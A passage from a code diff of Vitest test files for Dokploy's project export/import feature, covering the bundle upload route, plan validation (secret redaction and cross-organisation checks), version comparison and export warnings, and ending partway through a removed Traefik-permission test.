assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
findOrganizationServerId: vi.fn(
async (serverId: string | undefined, organizationId: string) => {
if (!serverId) return null;
if (serverId === "server-1" && organizationId === "org-1") {
return "server-1";
}
throw new Error("Server not found");
},
),
get TRANSFER_MAX_UPLOAD_BYTES() {
return maxUploadBytesBox.value;
},
};
},
);
vi.mock("@dokploy/server/constants", async (importOriginal) => {
const actual =
await importOriginal<typeof import("@dokploy/server/constants")>();
return {
...actual,
paths: (isServer?: boolean) => ({
...actual.paths(isServer),
PROJECT_EXPORT_IMPORT_PATH: transferPathToReturn,
}),
};
});
const { getImportJob } = await import(
"@dokploy/server/services/project-export-import"
);
const handler = (await import("../../pages/api/project-export-import/upload"))
.default;
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-upload-route-"));
transferPathToReturn = root;
maxUploadBytesBox.value = 10 * 1024 * 1024 * 1024;
remoteBox.exitCode = null;
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const buildRes = () => {
const stream = new PassThrough() as unknown as {
statusCode: number;
status: (code: number) => typeof stream;
json: (body: unknown) => typeof stream;
jsonBody?: unknown;
} & PassThrough;
stream.statusCode = 200;
stream.status = vi.fn((code: number) => {
stream.statusCode = code;
return stream;
}) as typeof stream.status;
stream.json = vi.fn((body: unknown) => {
stream.jsonBody = body;
return stream;
}) as typeof stream.json;
return stream;
};
const buildMultipartReq = (
fileContent: Buffer,
fileName = "bundle.dokploy.tar.gz",
) => {
const boundary = "----dokployTestBoundary";
const head = Buffer.from(
`--${boundary}\r\nContent-Disposition: form-data; name="bundle"; filename="${fileName}"\r\nContent-Type: application/gzip\r\n\r\n`,
);
const tail = Buffer.from(`\r\n--${boundary}--\r\n`);
const body = Buffer.concat([head, fileContent, tail]);
const stream = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
};
stream.method = "POST";
stream.headers = {
"content-type": `multipart/form-data; boundary=${boundary}`,
"content-length": String(body.length),
};
stream.end(body);
return stream;
};
const buildTwoFileMultipartReq = (first: Buffer, second: Buffer) => {
const boundary = "----dokployTestBoundary";
const part = (name: string, content: Buffer) =>
Buffer.concat([
Buffer.from(
`--${boundary}\r\nContent-Disposition: form-data; name="${name}"; filename="${name}.tar.gz"\r\nContent-Type: application/gzip\r\n\r\n`,
),
content,
Buffer.from("\r\n"),
]);
const body = Buffer.concat([
part("bundle", first),
part("bundle2", second),
Buffer.from(`--${boundary}--\r\n`),
]);
const stream = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
};
stream.method = "POST";
stream.headers = {
"content-type": `multipart/form-data; boundary=${boundary}`,
"content-length": String(body.length),
};
stream.end(body);
return stream;
};
describe("transfer upload route", () => {
it("rejects unauthenticated requests", async () => {
sessionToReturn = { session: null, user: null };
const req = buildMultipartReq(Buffer.from("irrelevant"));
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(401);
});
it("rejects non-POST methods", async () => {
const req = { method: "GET" };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(405);
});
it("streams the uploaded bundle to disk and creates an import job", async () => {
const content = Buffer.from("fake bundle bytes for the upload route test");
const req = buildMultipartReq(content);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(200);
const importId = (res.jsonBody as { importId: string }).importId;
expect(importId).toBeDefined();
const job = getImportJob(importId);
expect(job?.status).toBe("uploaded");
expect(job?.bundle?.path).toBeDefined();
const written = await readFile(job?.bundle?.path as string);
expect(written.equals(content)).toBe(true);
});
it("does not buffer the whole file into memory while receiving a large upload", async () => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-2" },
};
const chunkSize = 1024 * 1024;
const chunkCount = 50;
const chunk = Buffer.alloc(chunkSize, 7);
const content = Buffer.concat(Array(chunkCount).fill(chunk));
const req = buildMultipartReq(content);
const res = buildRes();
if (global.gc) {
global.gc();
}
const before = process.memoryUsage().heapUsed;
await handler(req as any, res as any);
if (global.gc) {
global.gc();
}
const after = process.memoryUsage().heapUsed;
const grew = after - before;
expect(res.statusCode).toBe(200);
expect(grew).toBeLessThan(content.length / 2);
});
it("rejects an upload with more than one file field instead of silently overwriting the first", async () => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-two-files" },
};
const first = Buffer.from("first file's real content");
const second = Buffer.from("second file's content");
const req = buildTwoFileMultipartReq(first, second);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(400);
expect((res.jsonBody as { message: string }).message).toContain(
"more than one file",
);
});
it("destroys the request instead of continuing to drain it once the size limit is hit", async () => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-over-limit" },
};
maxUploadBytesBox.value = 10;
const req = buildMultipartReq(Buffer.alloc(1000, 9));
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(413);
expect((req as unknown as PassThrough).destroyed).toBe(true);
});
});
describe("upload to a remote server", () => {
let counter = 0;
beforeEach(() => {
counter += 1;
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: `remote-user-${counter}` },
};
remoteBox.commands = [];
remoteBox.received = [];
remoteBox.stdin = undefined;
});
it("streams the file into a cat process on the chosen server", async () => {
const content = Buffer.from("remote bundle bytes");
const req = buildMultipartReq(content) as unknown as {
query?: Record<string, string>;
};
req.query = { serverId: "server-1" };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(200);
const { importId, serverId } = res.jsonBody as {
importId: string;
serverId: string;
};
expect(serverId).toBe("server-1");
expect(Buffer.concat(remoteBox.received).equals(content)).toBe(true);
expect(remoteBox.commands.some((c) => c.includes("cat > '"))).toBe(true);
expect(getImportJob(importId)?.bundle?.serverId).toBe("server-1");
expect(existsSync(join(transferPathToReturn, importId))).toBe(false);
});
it("rejects a server outside the organization", async () => {
const req = buildMultipartReq(Buffer.from("x")) as unknown as {
query?: Record<string, string>;
};
req.query = { serverId: "someone-elses-server" };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(400);
expect(remoteBox.commands).toHaveLength(0);
});
it("closes the remote writer when the upload has no file field", async () => {
const boundary = "----dokployTestBoundary";
const body = Buffer.from(
`--${boundary}\r\nContent-Disposition: form-data; name="note"\r\n\r\nhello\r\n--${boundary}--\r\n`,
);
const stream = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
query: Record<string, string>;
};
stream.method = "POST";
stream.headers = {
"content-type": `multipart/form-data; boundary=${boundary}`,
"content-length": String(body.length),
};
stream.query = { serverId: "server-1" };
stream.end(body);
const res = buildRes();
await handler(stream as any, res as any);
expect(res.statusCode).toBe(400);
expect((res.jsonBody as { message: string }).message).toBe(
"No file field found in the upload",
);
expect(remoteBox.stdin?.destroyed).toBe(true);
});
it("fails fast when the remote writer exits before the file arrives", async () => {
remoteBox.exitCode = 1;
const stalled = new PassThrough() as unknown as PassThrough & {
method: string;
headers: Record<string, string>;
query: Record<string, string>;
};
stalled.method = "POST";
stalled.headers = {
"content-type": "multipart/form-data; boundary=----dokployTestBoundary",
};
stalled.query = { serverId: "server-1" };
const res = buildRes();
await handler(stalled as any, res as any);
expect(res.statusCode).toBe(400);
expect((res.jsonBody as { message: string }).message).toMatch(
/Writing the bundle on the server failed/,
);
}, 5_000);
});
@@ -0,0 +1,511 @@
import type {
Plan,
Requirement,
Snapshot,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import { ExecError } from "@dokploy/server/utils/process/execAsync";
import { describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })),
};
});
vi.mock("@dokploy/server/services/registry", () => ({
testRegistryConnection: vi.fn(async () => {
throw new ExecError(
"Command execution failed: Command failed: printf %s 'realregistrypass123' | docker login registry.example.com -u user --password-stdin",
{
command:
"printf %s 'realregistrypass123' | docker login registry.example.com -u user --password-stdin",
stderr: "Error response from daemon: login attempt failed",
exitCode: 1,
},
);
}),
}));
vi.mock("@dokploy/server/services/destination", () => ({
testDestinationConnection: vi.fn(async () => {
throw new ExecError(
"Command execution failed: Command failed: rclone ls --s3-secret-access-key=realsecretkey456 :s3:mybucket",
{
command:
"rclone ls --s3-secret-access-key=realsecretkey456 :s3:mybucket",
stderr: "NoSuchBucket: The specified bucket does not exist",
exitCode: 1,
},
);
}),
}));
vi.mock("@dokploy/server/services/vault-provider", () => ({
testVaultProviderConnection: vi.fn(async () => {}),
}));
const { validatePlan } = await import(
"@dokploy/server/services/project-export-import"
);
const basePlan = {
target: { kind: "newProject" as const, name: "imported" },
resolutions: {
"registry:registry-src": {
requirementKey: "registry:registry-src",
action: "reuse" as const,
targetId: "registry-dest-1",
},
"destination:destination-src": {
requirementKey: "destination:destination-src",
action: "reuse" as const,
targetId: "destination-dest-1",
},
},
serverMap: {},
appNameMap: {},
domainStrategy: { custom: "keep" as const },
portsStrategy: "keep" as const,
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
} satisfies Plan;
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {},
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const fakeDb = {
query: {
registry: {
findFirst: async () => ({
registryId: "registry-dest-1",
registryUrl: "registry.example.com",
username: "user",
password: "realregistrypass123",
organizationId: "org-dest",
}),
},
destinations: {
findFirst: async () => ({
destinationId: "destination-dest-1",
accessKey: "key",
secretAccessKey: "realsecretkey456",
bucket: "mybucket",
region: "us-east-1",
endpoint: "https://s3.example.com",
organizationId: "org-dest",
}),
},
vaultProvider: { findFirst: async () => undefined },
},
} as any as TransferDb;
describe("validatePlan (T-5.4)", () => {
it("never leaks the registry password or destination secretAccessKey into a failed check's detail", async () => {
const checks = await validatePlan(fakeDb, snapshot, basePlan, "org-dest");
const registryCheck = checks.find((c) => c.check.startsWith("registry:"));
expect(registryCheck?.ok).toBe(false);
expect(registryCheck?.detail).not.toContain("realregistrypass123");
expect(registryCheck?.detail).toContain("login attempt failed");
const destinationCheck = checks.find((c) =>
c.check.startsWith("destination:"),
);
expect(destinationCheck?.ok).toBe(false);
expect(destinationCheck?.detail).not.toContain("realsecretkey456");
expect(destinationCheck?.detail).toContain("bucket does not exist");
});
});
describe("validatePlan checks each appName against its own destination server (T-5.13)", () => {
it("probes two services' appNames against their own distinct destination servers, not the same one for both", async () => {
const snapshotWithTwoApps: Snapshot = {
...snapshot,
resources: {
...snapshot.resources,
services: [
{
kind: "application",
applicationId: "app-1",
appName: "app-one-old",
serverId: "server-src-1",
},
{
kind: "application",
applicationId: "app-2",
appName: "app-two-old",
serverId: "server-src-2",
},
],
},
requirements: [
{
kind: "server",
originalId: "server-src-1",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "app-one",
environmentId: "env-1",
field: "serverId",
},
],
},
{
kind: "server",
originalId: "server-src-2",
configIncluded: false,
usedBy: [
{
serviceId: "app-2",
serviceType: "application",
serviceName: "app-two",
environmentId: "env-1",
field: "serverId",
},
],
},
],
};
const planWithTwoApps: Plan = {
...basePlan,
resolutions: {},
serverMap: {
"server-src-1": "server-dest-1",
"server-src-2": "server-dest-2",
},
appNameMap: {
"app-one-old": "app-one-new",
"app-two-old": "app-two-new",
},
};
const probed: { appName: string; serverId: string | null }[] = [];
await validatePlan(
fakeDb,
snapshotWithTwoApps,
planWithTwoApps,
"org-dest",
{
checkAppNameAvailable: async (appName, serverId) => {
probed.push({ appName, serverId });
return true;
},
},
);
expect(probed).toContainEqual({
appName: "app-one-new",
serverId: "server-dest-1",
});
expect(probed).toContainEqual({
appName: "app-two-new",
serverId: "server-dest-2",
});
});
});
describe("validatePlan blocks an unresolved server requirement (T-6.9)", () => {
const serverRequirement: Requirement = {
kind: "server",
originalId: "server-src-1",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
};
it("fails the check when the server requirement's resolution is 'skip'", async () => {
const snapshotWithServer: Snapshot = {
...snapshot,
requirements: [serverRequirement],
};
const planWithSkippedServer: Plan = {
...basePlan,
resolutions: {
"server:server-src-1": {
requirementKey: "server:server-src-1",
action: "skip",
},
},
};
const checks = await validatePlan(
fakeDb,
snapshotWithServer,
planWithSkippedServer,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "serverResolution:server-src-1",
);
expect(serverCheck?.ok).toBe(false);
});
it("fails the check when the server requirement has no resolution at all", async () => {
const snapshotWithServer: Snapshot = {
...snapshot,
requirements: [serverRequirement],
};
const planWithNoResolution: Plan = {
...basePlan,
resolutions: {},
};
const checks = await validatePlan(
fakeDb,
snapshotWithServer,
planWithNoResolution,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "serverResolution:server-src-1",
);
expect(serverCheck?.ok).toBe(false);
});
it("passes the check when the server requirement is resolved (reuse, incl. explicit local)", async () => {
const snapshotWithServer: Snapshot = {
...snapshot,
requirements: [serverRequirement],
};
const planResolved: Plan = {
...basePlan,
resolutions: {
"server:server-src-1": {
requirementKey: "server:server-src-1",
action: "reuse",
targetId: "server-dest-1",
},
},
};
const checks = await validatePlan(
fakeDb,
snapshotWithServer,
planResolved,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "serverResolution:server-src-1",
);
expect(serverCheck?.ok).toBe(true);
});
});
describe("validatePlan checks vault/registry/destination reuse targets belong to the caller's org (T-6.12)", () => {
const crossOrgDb = {
query: {
vaultProvider: {
findFirst: async () => ({
vaultProviderId: "vault-dest-1",
config: {
providerType: "hashicorp",
url: "https://vault",
token: "t",
},
organizationId: "org-OTHER",
}),
},
registry: {
findFirst: async () => ({
registryId: "registry-dest-1",
registryUrl: "registry.example.com",
username: "user",
password: "realregistrypass123",
organizationId: "org-OTHER",
}),
},
destinations: {
findFirst: async () => ({
destinationId: "destination-dest-1",
accessKey: "key",
secretAccessKey: "realsecretkey456",
bucket: "mybucket",
region: "us-east-1",
endpoint: "https://s3.example.com",
organizationId: "org-OTHER",
}),
},
},
} as any as TransferDb;
it("fails the registry/destination checks without ever calling the live connection test, when the resolved row belongs to another org", async () => {
const { testRegistryConnection } = await import(
"@dokploy/server/services/registry"
);
const { testDestinationConnection } = await import(
"@dokploy/server/services/destination"
);
(testRegistryConnection as any).mockClear();
(testDestinationConnection as any).mockClear();
const checks = await validatePlan(
crossOrgDb,
snapshot,
basePlan,
"org-dest",
);
const registryCheck = checks.find((c) => c.check.startsWith("registry:"));
expect(registryCheck?.ok).toBe(false);
expect(registryCheck?.detail).toContain("Not found in this organization");
expect(testRegistryConnection).not.toHaveBeenCalled();
const destinationCheck = checks.find((c) =>
c.check.startsWith("destination:"),
);
expect(destinationCheck?.ok).toBe(false);
expect(destinationCheck?.detail).toContain(
"Not found in this organization",
);
expect(testDestinationConnection).not.toHaveBeenCalled();
});
it("fails the vault check without calling testVaultProviderConnection, when the resolved row belongs to another org", async () => {
const { testVaultProviderConnection } = await import(
"@dokploy/server/services/vault-provider"
);
(testVaultProviderConnection as any).mockClear();
const planWithVault: Plan = {
...basePlan,
resolutions: {
"vault:vault-src": {
requirementKey: "vault:vault-src",
action: "reuse",
targetId: "vault-dest-1",
},
},
};
const checks = await validatePlan(
crossOrgDb,
snapshot,
planWithVault,
"org-dest",
);
const vaultCheck = checks.find((c) => c.check.startsWith("vault:"));
expect(vaultCheck?.ok).toBe(false);
expect(vaultCheck?.detail).toContain("Not found in this organization");
expect(testVaultProviderConnection).not.toHaveBeenCalled();
});
});
describe("validatePlan checks that each server in plan.serverMap belongs to the caller's org (T-9.3)", () => {
it("fails the check without ever calling execAsyncRemote, for a server belonging to another org", async () => {
const { execAsyncRemote } = await import(
"@dokploy/server/utils/process/execAsync"
);
(execAsyncRemote as any).mockClear();
const crossOrgServerDb = {
query: {
...(fakeDb as any).query,
server: {
findFirst: async () => ({
serverId: "server-other-org",
organizationId: "org-OTHER",
}),
},
},
} as any as TransferDb;
const planWithServer: Plan = {
...basePlan,
resolutions: {},
serverMap: { "server-src-1": "server-other-org" },
};
const checks = await validatePlan(
crossOrgServerDb,
snapshot,
planWithServer,
"org-dest",
);
const serverCheck = checks.find(
(c) => c.check === "server:server-other-org",
);
expect(serverCheck?.ok).toBe(false);
expect(serverCheck?.detail).toContain("Not found in this organization");
expect(execAsyncRemote).not.toHaveBeenCalled();
});
});
describe("validatePlan fails the check when a reuse target no longer exists (T-9.4)", () => {
it("fails the registry check (not ok:true) when the target row doesn't exist at all", async () => {
const missingRowDb = {
query: {
...(fakeDb as any).query,
registry: { findFirst: async () => undefined },
},
} as any as TransferDb;
const checks = await validatePlan(
missingRowDb,
snapshot,
basePlan,
"org-dest",
);
const registryCheck = checks.find((c) => c.check.startsWith("registry:"));
expect(registryCheck?.ok).toBe(false);
expect(registryCheck?.detail).toContain("Not found in this organization");
});
});
@@ -0,0 +1,179 @@
import type {
ExportScope,
InstanceVersions,
SourceInstance,
} from "@dokploy/server/services/project-export-import";
import {
collectDockerVersions,
compareDockerVersions,
compareInstanceVersions,
isPinnedImage,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const destination: InstanceVersions = {
dokployVersion: "v0.30.6",
releaseTag: "latest",
isCloud: false,
traefikVersion: "3.6.25",
nodeVersion: "v22.0.0",
};
const source = (overrides: Partial<SourceInstance>): SourceInstance => ({
dokployVersion: "v0.30.6",
organizationId: "org-src",
releaseTag: "latest",
isCloud: false,
traefikVersion: "3.6.25",
...overrides,
});
const codesOf = (warnings: { code: string; severity: string }[]) =>
warnings.map((w) => `${w.code}:${w.severity}`);
describe("compareInstanceVersions", () => {
it("is silent when everything matches", () => {
expect(compareInstanceVersions(source({}), destination)).toEqual([]);
});
it("warns when the bundle comes from a newer Dokploy", () => {
const warnings = compareInstanceVersions(
source({ dokployVersion: "v0.31.0" }),
destination,
);
expect(codesOf(warnings)).toEqual(["DOKPLOY_VERSION_MISMATCH:warning"]);
});
it("only informs when the bundle comes from an older Dokploy", () => {
const warnings = compareInstanceVersions(
source({ dokployVersion: "v0.29.0" }),
destination,
);
expect(codesOf(warnings)).toEqual(["DOKPLOY_VERSION_MISMATCH:info"]);
});
it("informs when versions are not comparable but differ", () => {
const warnings = compareInstanceVersions(
source({ dokployVersion: "canary", releaseTag: "canary" }),
destination,
);
expect(codesOf(warnings)).toEqual(["DOKPLOY_VERSION_MISMATCH:info"]);
expect(warnings[0]?.message).toContain("can't be compared");
});
it("flags cloud to self-hosted and traefik differences", () => {
const warnings = compareInstanceVersions(
source({ isCloud: true, traefikVersion: "3.4.0" }),
destination,
);
expect(codesOf(warnings)).toEqual([
"INSTANCE_KIND_MISMATCH:info",
"TRAEFIK_VERSION_MISMATCH:info",
]);
});
it("ignores fields an older bundle does not carry", () => {
const warnings = compareInstanceVersions(
{ dokployVersion: "v0.30.6", organizationId: "org-src" },
destination,
);
expect(warnings).toEqual([]);
});
});
describe("compareDockerVersions", () => {
it("reports a different major version", () => {
expect(compareDockerVersions("26.1.0", "27.0.1")).toContain(
"different major version",
);
});
it("accepts the same major version", () => {
expect(compareDockerVersions("27.0.1", "27.3.0")).toBeUndefined();
});
it("is silent without a source version", () => {
expect(compareDockerVersions(undefined, "27.0.1")).toBeUndefined();
});
});
describe("isPinnedImage", () => {
it.each([
["postgres:17", true],
["ghcr.io/org/app:v1.2.3", true],
["registry:5000/org/app@sha256:abc", true],
["postgres", false],
["postgres:latest", false],
["registry:5000/org/app", false],
])("%s → %s", (image, pinned) => {
expect(isPinnedImage(image)).toBe(pinned);
});
});
describe("collectDockerVersions", () => {
const scope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const tree = {
projectId: "project-1",
name: "p",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [
{ applicationId: "app-1", appName: "app-one", serverId: null },
{ applicationId: "app-2", appName: "app-two", serverId: "srv-1" },
],
compose: [],
postgres: [
{ postgresId: "pg-1", appName: "pg-one", serverId: "srv-1" },
],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
},
],
};
it("probes each distinct server once and keys local as 'local'", async () => {
const probed: (string | null)[] = [];
const versions = await collectDockerVersions(
tree as never,
scope,
async (serverId) => {
probed.push(serverId);
return serverId ? "26.1.0" : "27.0.1";
},
);
expect(probed).toEqual([null, "srv-1"]);
expect(versions).toEqual({ local: "27.0.1", "srv-1": "26.1.0" });
});
it("skips servers whose probe fails", async () => {
const versions = await collectDockerVersions(
tree as never,
scope,
async (serverId) => {
if (serverId) throw new Error("ssh down");
return "27.0.1";
},
);
expect(versions).toEqual({ local: "27.0.1" });
});
});
@@ -0,0 +1,281 @@
import type { ExportScope } from "@dokploy/server/services/project-export-import";
import { detectWarnings } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const baseApplication = {
applicationId: "app-1",
name: "app-1",
appName: "app-one",
mounts: [],
domains: [],
isPreviewDeploymentsActive: false,
sourceType: "github",
autoDeploy: false,
};
const baseCompose = {
composeId: "compose-1",
name: "compose-1",
appName: "compose-one",
composeFile: "services: {}",
mounts: [],
domains: [],
autoDeploy: false,
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
libsql: [],
};
const buildTree = (overrides: {
applications?: Record<string, unknown>[];
compose?: Record<string, unknown>[];
postgres?: Record<string, unknown>[];
redis?: Record<string, unknown>[];
}) => ({
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: overrides.applications ?? [],
compose: overrides.compose ?? [],
postgres: overrides.postgres ?? [],
redis: overrides.redis ?? [],
...emptyServiceArrays,
},
],
});
const codesOf = (warnings: { code: string }[]) => warnings.map((w) => w.code);
describe("detectWarnings", () => {
it("IMAGE_TAG_NOT_PINNED for a database on a floating tag, not for a pinned one", () => {
const tree = buildTree({
postgres: [
{
postgresId: "pg-1",
name: "pg",
appName: "pg-one",
dockerImage: "postgres:latest",
mounts: [],
},
{
postgresId: "pg-2",
name: "pg2",
appName: "pg-two",
dockerImage: "postgres:17",
mounts: [],
},
],
applications: [
{ ...baseApplication, sourceType: "docker", dockerImage: "nginx" },
],
});
const warnings = detectWarnings(tree as any, baseScope).filter(
(w) => w.code === "IMAGE_TAG_NOT_PINNED",
);
expect(warnings.map((w) => w.affected[0]?.serviceId).sort()).toEqual([
"app-1",
"pg-1",
]);
});
it("ABSOLUTE_HOST_PATH_MOUNT for a bind mount with an absolute host path", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
mounts: [
{
mountId: "mount-1",
type: "bind",
hostPath: "/var/data",
mountPath: "/data",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("ABSOLUTE_HOST_PATH_MOUNT");
});
it("MANUAL_VOLUME_NAME for a volume mount with an explicit volumeName", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
mounts: [
{
mountId: "mount-1",
type: "volume",
volumeName: "my-custom-volume",
mountPath: "/data",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("MANUAL_VOLUME_NAME");
});
it("does not warn about a volume name that embeds the service's own appName", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
mounts: [
{
mountId: "mount-1",
type: "volume",
volumeName: `${baseApplication.appName}-data`,
mountPath: "/data",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).not.toContain("MANUAL_VOLUME_NAME");
});
it("does not warn about a bind mount with a relative path or an auto volume name", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
mounts: [
{
mountId: "m1",
type: "bind",
hostPath: "relative",
mountPath: "/a",
},
{
mountId: "m2",
type: "volume",
volumeName: null,
mountPath: "/b",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).not.toContain("ABSOLUTE_HOST_PATH_MOUNT");
expect(codesOf(warnings)).not.toContain("MANUAL_VOLUME_NAME");
});
it("APPNAME_IN_COMPOSE_FILE when the compose file references its own appName", () => {
const tree = buildTree({
compose: [
{
...baseCompose,
appName: "compose-one",
composeFile: "networks:\n compose-one-net:\n external: true",
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("APPNAME_IN_COMPOSE_FILE");
});
it("PREVIEW_DEPLOYMENTS_DROPPED when preview deployments are active", () => {
const tree = buildTree({
applications: [{ ...baseApplication, isPreviewDeploymentsActive: true }],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("PREVIEW_DEPLOYMENTS_DROPPED");
});
it("LETSENCRYPT_CERTS_NOT_EXPORTED for a domain with a letsencrypt certificate", () => {
const tree = buildTree({
applications: [
{
...baseApplication,
domains: [
{
domainId: "dom-1",
host: "app.example.com",
certificateType: "letsencrypt",
},
],
},
],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("LETSENCRYPT_CERTS_NOT_EXPORTED");
});
it("REDIS_NO_DUMP for every redis service in scope", () => {
const tree = buildTree({
redis: [{ redisId: "redis-1", name: "redis-1", mounts: [] }],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("REDIS_NO_DUMP");
});
it("WEBHOOK_TOKEN_REGENERATED for a service with autoDeploy enabled", () => {
const tree = buildTree({
applications: [{ ...baseApplication, autoDeploy: true }],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).toContain("WEBHOOK_TOKEN_REGENERATED");
});
it("DROP_SOURCE_NOT_EXPORTED when a drop-source app is excluded from files", () => {
const tree = buildTree({
applications: [{ ...baseApplication, sourceType: "drop" }],
});
const warnings = detectWarnings(tree as any, {
...baseScope,
files: { ...baseScope.files, applicationSources: false },
});
expect(codesOf(warnings)).toContain("DROP_SOURCE_NOT_EXPORTED");
});
it("does not warn DROP_SOURCE_NOT_EXPORTED when applicationSources is included", () => {
const tree = buildTree({
applications: [{ ...baseApplication, sourceType: "drop" }],
});
const warnings = detectWarnings(tree as any, baseScope);
expect(codesOf(warnings)).not.toContain("DROP_SOURCE_NOT_EXPORTED");
});
it("only inspects services within scope", () => {
const included = { ...baseApplication, applicationId: "app-included" };
const excluded = {
...baseApplication,
applicationId: "app-excluded",
autoDeploy: true,
};
const tree = buildTree({ applications: [included, excluded] });
const warnings = detectWarnings(tree as any, {
...baseScope,
serviceIds: ["app-included"],
});
expect(codesOf(warnings)).not.toContain("WEBHOOK_TOKEN_REGENERATED");
});
});
@@ -42,7 +42,6 @@ const ENTERPRISE_RESOURCES = [
"auditLog",
"vaultProvider",
"dnsProvider",
"ai",
];
describe("enterpriseOnlyResources set", () => {
@@ -1,119 +0,0 @@
import path from "node:path";
import { beforeEach, describe, expect, it, vi } from "vitest";
// apiReadTraefikConfig validates against the real local paths(), which outside
// production live under the working directory.
const traefikPath = vi.hoisted(() => `${process.cwd()}/.docker/traefik`);
const mocks = vi.hoisted(() => ({
findServerById: vi.fn(),
readDirectory: vi.fn(),
readConfigInPath: vi.fn(),
writeTraefikConfigInPath: vi.fn(),
}));
vi.mock("@dokploy/server/services/permission", () => ({
checkPermission: vi.fn(async () => undefined),
}));
vi.mock("@dokploy/server", () => ({
IS_CLOUD: false,
paths: () => ({ MAIN_TRAEFIK_PATH: traefikPath }),
...mocks,
}));
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(),
}));
vi.mock("@/server/api/utils/audit", () => ({
audit: vi.fn(async () => undefined),
}));
vi.mock("@/server/queues/queueSetup", () => ({
cleanAllDeploymentQueue: vi.fn(),
}));
vi.mock("@/server/utils/backup", () => ({
removeJob: vi.fn(),
schedule: vi.fn(),
}));
const { settingsRouter } = await import("@/server/api/routers/settings");
const caller = settingsRouter.createCaller({
session: { activeOrganizationId: "org-a" },
user: { id: "user-1", email: "user@example.com", role: "member" },
} as Parameters<typeof settingsRouter.createCaller>[0]);
const filePath = path.join(traefikPath, "dynamic/app.yml");
describe("traefik file endpoints scope remote servers to the active organization", () => {
beforeEach(() => {
vi.clearAllMocks();
mocks.findServerById.mockImplementation(async (serverId: string) => ({
serverId,
organizationId: serverId === "server-a" ? "org-a" : "org-b",
}));
mocks.readDirectory.mockResolvedValue([]);
mocks.readConfigInPath.mockResolvedValue("http: {}");
});
it("rejects listing a server from another organization", async () => {
await expect(
caller.readDirectories({ serverId: "server-b" }),
).rejects.toMatchObject({ code: "UNAUTHORIZED" });
